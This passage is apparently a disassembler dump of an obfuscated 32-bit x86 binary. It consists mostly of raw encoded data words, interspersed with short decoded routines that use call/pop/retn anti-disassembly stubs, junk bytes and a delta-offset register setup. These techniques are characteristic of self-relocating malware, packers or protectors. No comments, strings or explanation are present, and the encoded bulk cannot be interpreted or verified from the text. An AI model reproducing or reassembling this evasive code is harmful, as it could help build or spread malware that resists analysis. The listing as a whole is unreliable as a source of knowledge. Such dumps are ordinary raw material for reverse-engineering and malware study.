50400000h, 808BA3C3h, 0D8131D36h dd 8589DC30h, 7E918B9h, 0D72C8D8Dh, 816607ECh, 0FF2CF4F3h dd 0DBB70FD1h, 1B69BD83h, 0F0107E9h, 3F85h, 0C1BD8B00h dd 6A07E916h, 9D950102h, 5007E901h, 6A240489h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 9A48C353h, 31B1B6DFh, 0E9255D85h, 95FFF807h, 7E902CDh dd 0DB1E9h, 0E800h, 815D0000h, 0ED7E70EDh, 0D9B70F07h dd 15A98D89h, 9D0307E9h, 7E93591h, 0B406858Dh, 950107ECh dd 7E90DBDh, 0BB665090h, 6A90BCA2h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 644EC352h dd 35FFh, 9D030000h, 7E93461h, 258964h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 9CECC357h, 0C3EE777Ah, 31C300C7h, 20319D09h, 0B96007E9h dd 5CEBD192h, 7E9h, 0A588C500h, 95900A9Ah, 9D85FF61h, 8B07E90Fh dd 0E908D9BDh, 6AFF6A07h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 316C353h, 6C0DCF21h dd 245DB5FFh, 6A07E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 556317C3h, 2C919D89h, 95FF07E9h dd 7E9233Dh, 14CE9h, 49BD2B00h, 0B007E91Dh, 11E800h, 0FEE40000h dd 0DE99A394h, 6221AC0Bh, 3FA9AC53h, 0E9E25C0Dh, 12h, 0EB0586Ch dd 830ECE4Dh, 0C6CEF54Eh, 0F82122D4h, 0E65B208Dh, 0AE970h dd 41E30000h, 5774965Ch, 0F8A49F87h, 1859501h, 71E407E9h dd 0AE9DB81h, 613C25D7h, 0EF830Fh, 0E8600000h, 0Dh, 0E634F08Dh dd 48EE7AFDh, 98AD656Ch, 39B58BE2h, 5E07E925h, 0C8B60F61h dd 20FD9D8Bh, 6BA07E9h, 89000000h, 0E9190D8Dh, 8BC18B07h dd 0E90749BDh, 4E8C107h, 12E8h, 35090000h, 754E03F5h, 4ED707FDh dd 0C4242C21h, 89C94B32h, 0E91C2985h, 0F7665B07h, 46EF81E2h dd 2B6ADA9Ah, 91CF80C8h, 0DE9D18Bh, 9B000000h, 0F4402ABEh dd 22EE3478h, 0A722AA43h, 4E9h, 0E4BF6600h, 89858B04h dd 0F07E909h, 388h, 0D98B6600h, 83F8B70Fh, 3BB07C0h, 8373BDEFh dd 8D8900C0h, 7E91EADh, 830FD03Bh, 11h, 2FD9BD8Bh, 36E907E9h dd 81000000h, 0C35968F3h, 0D98D8B5Ah, 8B07E91Dh, 1E183DAh dd 1F840Fh, 0BD8B0000h, 7E91B29h, 1DD9A583h, 0F5FE07E9h dd 9899589h, 858907E9h, 7E900E5h, 0E9h, 4B58D00h, 6A07ECF8h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 6D46C350h, 0D33C4022h, 0FF28597h, 6AD9BFh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0CEC35141h dd 46F3DADFh, 0CB81BA30h, 61A29098h, 0C3195FFh, 6A07E9h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0EDE4E1C3h, 431E84B9h, 0B9080046h, 0ECCh, 6AFCE183h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 130CC351h, 0B5898139h, 7E91BA9h, 66FCFA8Bh dd 8BD3E9BBh, 0B8D9h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 49D92DC3h, 2BF8BF0Fh dd 50006AD2h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 0EEF8AC14h, 0EE00BC5Eh, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0ABC35141h, 66AB9749h, 0E81DB81h, 880Dh, 38E0F00h dd 80000000h, 958B41CBh, 7E9320Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0E9C35141h, 22E58D8Bh, 6A07E9h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 465E38C3h, 8B91EEB5h, 0E916F19Dh, 0C28B5007h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 7878DB81h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0F3C35646h, 60B86F49h dd 13598589h, 860F07E9h, 4, 8DE6BE66h, 0D8BF0F61h, 1C2DBD83h dd 0F0007E9h, 6184h, 0A5858900h, 0B807E926h, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_5CC06F and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC06F proc near ; CODE XREF: sdfs____:005CC067p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5CC06F endp ; --------------------------------------------------------------------------- db 0C0h dd 72981DEDh, 5A8D8DDEh, 8107E94Dh, 0D037A4C7h, 6AE1FF71h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 423BC351h, 0E9C2EA82h, 0FFBBF0Fh, 0BD83D8B7h dd 7E922B1h, 5B840F00h, 6A000003h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 3CBAC350h dd 954F06Dh, 0E9096D8Dh, 0B1BD8307h, 107E922h, 343840Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 1EA6ACC3h, 0D917DE4Dh, 22B1BD83h, 0F0307E9h dd 2DE86h, 0F878BF00h, 2B605615h, 0E90F35BDh, 0D98C6607h dd 80DABF0Fh, 0BB6604E1h, 0C90A7ADCh, 0FA840Fh, 0AE90000h dd 0CD000000h, 5DC7F6A4h, 6B661813h, 79BD89A9h, 8B07E934h dd 0E90C5585h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 0C53C2A4h, 9E960h, 0F92C0000h dd 0D3CE78BEh, 8B486089h, 0E915AD9Dh, 85336107h, 7E91CE9h dd 0BE9h, 5D64DB00h, 30BA06E2h, 0B7FFCD0Eh, 8E0F50h, 89000000h dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 626FD3C3h, 13318589h, 6A07E9h, 1C119D8Bh dd 936807E9h, 66B2ADE9h, 481F98Bh, 711A6C24h, 6880F4Dh dd 8B000000h, 0E920B9BDh, 0D995FF07h, 8B07E902h, 0E92F659Dh dd 95BD0107h, 8907E929h, 0ECD78585h, 84E9F507h, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 0E5E5C352h, 3F45E57Dh, 0C6FDDA09h, 0D77D858Bh dd 6A07ECh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 8D3CDAC3h, 800F6E3Ch, 6, 0B958D89h, 0C707E9h dd 18h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h dd 0C5C35343h, 89B32A23h, 0E9212585h, 81B58B07h, 0E907ECD7h dd 8, 0D05E3A6Ah, 22550960h, 1859858Bh, 6A07E9h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 0D407E4C3h, 4D8F7BDh, 8BC4425Dh, 0E913219Dh, 689F807h dd 6830Fh, 8A0F0000h, 0 ; --------------------------------------------------------------------------- mov eax, [ebp+7E90C55h] mov edi, [ebp+7E92FD1h] mov [esi+4], eax mov bx, 92CCh push eax pusha mov ax, 6900h popa mov [esp], esi jmp loc_5CC31E ; --------------------------------------------------------------------------- dw 0A3FAh dd 0A77E27h db 0E3h, 2 ; --------------------------------------------------------------------------- loc_5CC31E: ; CODE XREF: sdfs____:005CC311j push dword ptr [ebp+7ECD77Dh] push 0 push ecx call sub_5CC32F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC32F proc near ; CODE XREF: sdfs____:005CC327p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5CC32F endp ; --------------------------------------------------------------------------- db 29h dd 0E4F96257h, 66735845h, 0F5151BBh, 0D268FABFh, 5063FA57h dd 1ED8BF52h, 310F3520h, 585AFE8Bh, 2D243481h, 8B63E554h dd 0E90B9DBDh, 85858D07h, 8B07ECD7h, 48950DFh, 0D995FF24h dd 6A07E902h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 796C353h, 63FBA866h, 61FEEB80h dd 0EEECBB66h, 22B185C7h, 307E9h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 89A53FC3h dd 0E92A1595h, 85BD8307h, 7ECD7h, 25840Fh, 81660000h, 0E97480CBh dd 36h, 15860Fh, 10E90000h, 0EA000000h, 6B026BE1h, 0D5DAF1B5h dd 4CFCD986h, 50D57EE5h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 6AC08Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 8F38A6C3h, 6BB34905h dd 95895B56h, 7E92B31h, 22B1BD83h, 0F0307E9h, 4D885h, 18D8900h dd 8307E909h, 0ECD785BDh, 840F0007h, 4C5h, 1A5D9589h, 0B5FF07E9h dd 7ECD785h, 9E9h, 6542C400h, 76DE8A23h, 0BD8B18BBh, 7E92519h dd 134995FFh, 6A07E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 0D2258AC3h, 0B3D71224h, 0BBBF79D4h dd 8B768907h, 0E92E31BDh, 79B58B07h, 6607ECD7h, 0F60F98Bh dd 0B589F0BFh, 7E90FD5h, 106C761h, 6A000100h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0A4EDC355h, 60969E16h, 0BE8h, 0D6795700h, 2DBC6117h dd 24612F97h, 9464BA66h, 5E85Eh, 56880000h, 560FEAC1h dd 50615A58h, 13E9h, 38FCC500h, 74A7A215h, 577068B6h, 0ACDDFF73h dd 0E187D913h, 52006A96h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 8E8BE5Bh, 0FE000000h dd 0BD3148F9h, 0BB2F7172h, 7B30B383h, 890F525Fh, 6, 8E0Fh dd 0FF5B0000h, 0ECD785B5h, 33C38007h, 1AB195FFh, 816607E9h dd 8BA157D7h, 0ECD779B5h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 4A56F36Ah dd 53A2491Ch, 79BD03ECh, 2907E90Ch, 0E9057195h, 49858B07h dd 8907E924h, 0E926458Dh, 0C4868907h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 9958C355h, 958BBFF5h, 7E9320Dh, 2458D29h, 0C28307E9h dd 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 0BB76DE8Ah, 8D205089h, 0ECECA185h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 6E814h, 141D0000h, 2608290Eh, 315BDA8Bh, 0E9016D9Dh dd 0B8868907h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0DB8AC356h, 0BFCCF348h dd 13705E6Ch, 6A6AE780h, 19850100h, 0FF07E902h, 0ECD785B5h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 0FF2BA5FBh, 0E902CD95h, 0E880F07h, 60000000h dd 8E0Fh, 85890000h, 7E92065h, 0C89ABF61h, 575078A8h, 5E9h dd 122F3200h, 895B62A0h, 6A2434h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 0CD2151C3h, 0BC0EB168h dd 0BE956h, 707E0000h, 3135ADh, 9227070Dh, 0BD315B57h dd 7E90335h, 0D785B5FFh, 6A07ECh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 0CAC3C3C3h, 24397C15h dd 0C140CB81h, 95FF50B2h, 7E9302Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 9DC35545h, 0FF3A15Dh, 689h dd 819D3100h, 8907E910h, 0E907AD8Dh, 0C9BD8307h, 7E91Eh dd 4F840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0AA9C3CC3h, 287764A5h, 9D8B5140h dd 7E91C99h, 5E8505Bh, 17000000h, 0FAB2D70Bh, 72A2BF66h dd 2434895Fh, 0B8B0Fh, 850F0000h, 5, 5BE38166h, 85B5FF8Eh dd 6A07ECD7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0E0D3C357h, 1CB18D89h, 95FF07E9h dd 7E91F9Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0E5C35646h, 263B8311h, 411B4F3Dh, 1D8D89A4h, 8907E908h dd 0E92DC99Dh, 85B5FF07h, 6A07ECD7h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0EE84C353h dd 72C64472h, 95FF01ECh, 7E90139h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0F2C35040h, 0DD2CA821h, 0B919D8Bh dd 0BD8307E9h, 7E929CDh, 88840F02h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 4DBBC355h, 7E9BD03h, 858B07E9h, 7E90875h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 9AC35040h, 0E9953104h dd 0E807E92Fh, 0Eh, 84DC6535h, 6214D113h, 0D0B5E888h, 0D98BD531h dd 0C65Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 39C35141h, 2D8068E6h, 0C7FCFE93h, 0E924AD85h, 7 dd 0F35FE900h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 234F35C3h, 8BF83AB4h, 0FD9D0BFAh dd 8B07E921h, 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 15C6C11Ah, 0FB44FD20h, 0BD89AE8Fh dd 7E924D1h, 29B96660h, 79B58B20h, 6107E910h, 2DF19589h dd 858D07E9h, 7E90861h, 18E0Fh, 90FC0000h, 0FE9h, 0BAF55200h dd 7379DA8Dh, 0C20427D9h, 0EDAD7873h, 0C8D0F50h, 50000000h dd 50310F52h, 5A310F52h, 90585A58h, 5890Fh, 81660000h dd 0FA9D2DFh, 680h, 0E9850900h, 6A07E90Bh, 0C8A0F00h, 0F000000h dd 681h, 0B1B58900h, 8B07E924h, 66006AFBh, 8D461ABBh, 0ED8DB485h dd 0B1B58907h, 8307E911h, 5E905C0h, 5F000000h, 57BAB73Eh dd 0DE950h, 73D30000h, 6F62651Bh, 8C860E5Bh, 89549B1Eh dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 8B2F63C3h, 6A006AFAh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 22E6C356h dd 8B66D94Bh, 89006AFEh, 0E9202195h, 0B995FF07h, 8B07E90Fh dd 0E92B359Dh, 2C8D8D07h, 6A07ECD7h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 5113C352h dd 9CAFFEAh, 0E925C5B5h, 6AD1FF07h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 7F3AC350h dd 5E966CDh, 6B000000h, 9059D4D3h, 1B69BD83h, 0F0107E9h dd 4585h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h dd 0C3524200h, 0A86539EFh, 3C4B1770h, 0F88B4C8Ch, 8166026Ah dd 50E699CBh, 40DB57BBh, 2404890Eh, 95FF5F50h, 7E902CDh dd 0C24BF66h, 0D1E9FE8Bh, 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 7ED8DBEh mov [ebp+7E93111h], edx push 0 push ebx call sub_5CCB90 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CCB90 proc near ; CODE XREF: sdfs____:005CCB88p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5CCB90 endp ; --------------------------------------------------------------------------- add edi, [edx-4Ch] xor ecx, [ebp-5Fh] mov edi, [ebp+7E91649h] lea eax, [ebp+7ECB406h] push 0 push edi call sub_5CCBBD and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CCBBD proc near ; CODE XREF: sdfs____:005CCBB5p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5CCBBD endp ; --------------------------------------------------------------------------- db 5Fh, 0BDh, 40h dd 71C9FA01h, 5269F7D4h, 1CE59589h, 905F07E9h, 0BE8h, 81486900h dd 9EBD657Ch, 63BDA868h, 62BF6653h, 505F5BF2h, 22F8BB66h dd 6D8D8990h, 6407E934h, 35FFh, 9E90000h, 0CB000000h, 3403FB88h dd 0D333920Bh, 258964h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0EE56C353h dd 773A5DECh, 1ADD752Eh, 21E9B589h, 85FF07E9h, 7E90F9Dh dd 5E9h, 9B02BB00h, 0FF6A0578h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 0AEC35646h, 76A784B0h, 9A04AA2h dd 0E92CCD95h, 92E38107h, 0FF1A67ADh, 0E92979B5h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0FD6C201Eh, 0A359D8Bh, 8B6607E9h, 3D95FFD8h, 0E907E923h dd 0FEh, 0B0DFB70Fh, 58B0F00h, 0BB000000h, 7730250Fh, 11E970E6h dd 2000000h, 7FDA63E6h, 0D5D31AADh, 0A2E58885h, 4BF58D17h dd 0C8A0Fh, 89600000h, 0E918199Dh, 0BDBB6607h, 71E46129h dd 0F613CFCh, 0B983h, 14E38000h, 8BC8B60Fh, 0E9001D9Dh dd 6BA07h, 85890000h, 7E918A9h, 0E8C1C18Bh, 66DD8A04h dd 0C82BE2F7h, 1D3AF4BBh, 1D18B30h, 0E91CED9Dh, 11E907h dd 0CE90000h, 9C000000h, 829ED717h, 0B4ADC9AEh, 8BC29B5Ch dd 0E9211985h, 18B0F07h, 0F8000000h, 907C083h, 0E9157D95h dd 0C08307h, 2EE59D89h, 0D03B07E9h, 10830Fh, 9D890000h dd 7E91B81h, 41E9h, 8749BB00h, 8D8B7D39h, 7E9181Dh, 0F010BF66h dd 0E1839EB7h, 27840F01h, 66000000h, 838A82BFh, 0E9181DA5h dd 850FFE07h, 1, 199589F5h, 0F07E921h, 80h, 0BBBB6600h dd 0E9CDh, 0B58D0000h, 7ED08D4h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0B5C35242h, 0D4622899h, 8B006AAEh dd 0E923759Dh, 3195FF07h, 6A07E90Ch, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 25F9C355h dd 4DBF934Fh, 0B91AA645h, 8FCh, 83D88B66h, 6AFCE1h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 9F1E68C3h, 334DE5F5h, 26399D2Bh, 9D8B07E9h, 7E916B9h dd 0E59D23FCh, 2B07E90Ch, 57006AC0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0B292F890h dd 0F572DE7h, 2B5FDAB7h, 56006AD2h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 8D0408C7h, 19719D89h dd 33AD07E9h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0AB09FEC3h dd 0A71414D3h, 0F98B66C6h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 37C35141h, 0C16E83EEh, 198D0FD2h, 0E9000000h dd 14h, 0D78D3907h, 9F331EB4h, 0BE602FB0h, 0A878C801h dd 0AFEE6B2Dh, 880Dh, 9EEB8100h, 8B473F9Ch, 0E9320D95h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 46032DB0h, 8F0FC2C0h, 3, 60D9F780h, 198531F8h dd 6107E932h, 22E58D8Bh, 6A07E9h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 70DE3CC3h, 371E904Dh dd 419D0B4Dh, 5007E90Fh, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 4FBCBB4Ah, 958935C0h, 7E919DDh, 1C2DBD83h dd 0F0007E9h, 6384h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0BD8957B6h, 7E92B81h dd 2B4FEF81h, 0B80D20h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0A7EAC353h dd 9D8B264Ch, 7E91F79h, 4D5A8D8Dh, 0FB8B07E9h, 0B529E1FFh dd 7E923A1h, 22B1BD83h, 0F0007E9h, 43684h, 0EE900h, 0B05B0000h dd 6CD09A2Bh, 65386C8Dh, 23B90261h, 22B1BD83h, 0F0107E9h dd 43184h, 4DFFBB00h, 0BD830DF6h, 7E922B1h, 0E9860F03h dd 60000003h, 8F0Fh, 85290000h, 7E91F19h, 6A6061h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 3E61C9C3h, 50DC7141h, 0D01BD8Bh, 8C6607E9h, 52006AD9h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0F5D12FAh, 0E180FBB7h, 57006A04h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0AF0DB892h dd 1DC8AD4h, 0E92FA185h, 95BD8B07h, 0A07E916h, 1A840FC9h dd 0F000001h, 0CCBFFAB7h, 8B0673DAh, 0E90C5585h, 11E907h dd 8260000h, 0B3E0713Dh, 498E568Fh, 0BC435CFCh, 33E32B37h dd 0E91CE985h, 0BBCF8107h, 506BA687h, 0DE8h, 0EF6CCA00h dd 7A780AF2h, 67A72B5Bh, 895F391Bh, 6A2404h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 0BF0F73C3h dd 6A006AFFh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0BAD1C357h, 8B6632A1h, 8166F8D9h dd 68C12FF3h, 8CD6059Ch, 63240481h, 6A7348FEh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0AF6AC355h, 0F32DE06Bh, 0D995FF83h, 6A07E902h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0D334C353h, 0D781D14Fh, 44D8F895h, 0D7858589h, 0E9F807ECh dd 1BEh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 0ABC35242h, 0D3883301h, 528BE543h, 7D858BACh, 8907ECD7h dd 0E91CBD9Dh, 0C7D98B07h, 1800h, 12E900h, 94F00000h, 2EF86C4Dh dd 46780610h, 0C9A41EBFh, 5D0D268Bh, 0D781B58Bh, 6A07ECh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 1B1F9BC3h, 0F8779671h, 1859858Bh, 0C78107E9h, 78199FBDh dd 9E90689h, 9E000000h, 18B8D7E1h, 0BD797CD5h, 0E1AFBF66h dd 0C55858Bh, 0FA8B07E9h, 6A044689h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0EC9FC353h dd 8E960h, 55BF0000h, 4F525438h, 0DE8F386h, 67000000h dd 0EFE05D82h, 199376E6h, 0ABC20CFCh, 0EAF08166h, 9615A38h dd 0E921A9BDh, 0BF665007h, 34892FBDh, 0DBCF8024h, 0D77DB5FFh dd 6A07ECh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 46431EC3h, 0FC70800h, 9D09DD8Dh, 7E9003Dh dd 97F50668h, 0F52501Bh, 2860F31h, 8B000000h, 81585AFEh dd 0F6F92434h, 9D231B88h, 7E917EDh, 0D785858Dh, 6A07ECh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 505037C3h, 0C4689A53h, 5E936h, 6D6C0000h, 66B02520h dd 50EB63BBh, 4893CB7h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 9DDD7668h, 0CF886F59h dd 0CF81666Ah, 95FF7689h, 7E902D9h, 533ADB81h, 0BF664BE1h dd 8B6188A6h, 0E90DDDBDh, 0B185C707h, 307E922h, 0E8000000h dd 0Fh, 0C350A0B0h, 74D74DC1h, 0F641BDE6h, 66170E1Ah, 5B409EBBh dd 0D785BD83h, 0F0007ECh, 6B84h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0FA8B6695h dd 2F7DB501h, 5CE907E9h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0F40AC353h dd 0F133383Ah, 198E0F48h, 0E8000000h, 0Dh, 9E427F89h, 0FFAF3E07h dd 0F4D25539h, 850F42h, 5F000000h, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 51C08B00h, 6A5FD98Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0A02C357h, 2971BFE8h, 0BD833A87h, 7E922B1h dd 55850F03h, 6A000004h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 4AD8C353h, 1D1C5E4Eh dd 0D785BD83h, 0F0007ECh, 42784h, 0D88B6600h, 9F08060h dd 11A5B589h, 0FF6107E9h, 0ECD785B5h, 68C0F07h, 81000000h dd 0A1389EFh, 4995FF0Fh, 6007E913h, 2A59531h, 8B5307E9h dd 0E90F01B5h, 8B615807h, 0ECD779B5h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 0CAC4FC91h, 0F7A5440h, 68Fh, 0D9BD8B00h, 0C707E91Ch dd 1000106h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 0D3DA3F80h, 21B52995h, 9607E923h dd 2820F50h, 53000000h, 0DE9965Fh, 0B1000000h, 2670913Eh dd 6925EB94h, 43A7078Dh, 48F0Fh, 0BF660000h, 0B5FF78CAh dd 7ECD785h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 0FCC35141h, 0A34180ACh, 0FFDE8BF4h, 0E91AB195h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 8559637Bh, 8B5F5104h, 0ECD779B5h, 0ED9D8B07h dd 8B07E902h, 0E9244985h, 0C5DB8007h, 0C48689h, 870F0000h dd 5, 93060CBBh, 0D958B3Fh, 5307E932h, 0F5F5360h, 5F61D8B7h dd 0E904C283h, 13h, 80D0BEA1h, 0A4EBB585h, 2CE98044h, 1F2E012Ch dd 893346B4h, 6A2050h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 95B444C3h, 9589FE57h, 7E90E75h dd 7BDBD89h, 816607E9h, 8D986DCBh, 0ECECA185h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0B55F899h, 0BD33679Dh, 7E92E39h, 0B88689h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0B5299DC3h, 7E91B3Dh, 99D38153h, 5F527A68h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0A8724AC3h, 9A766FC7h, 153D9D8Bh, 0F8B307E9h, 0D785B5FFh dd 0B50107ECh, 7E91ACDh, 2CD95FFh, 6A07E9h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0FE903C3h dd 8E000000h, 69995435h, 91572E89h, 0DA40906Fh, 0FC56B2FEh dd 0CE9505Fh, 0DC000000h, 0EE6D5AEEh, 0B63847B9h, 897E6914h 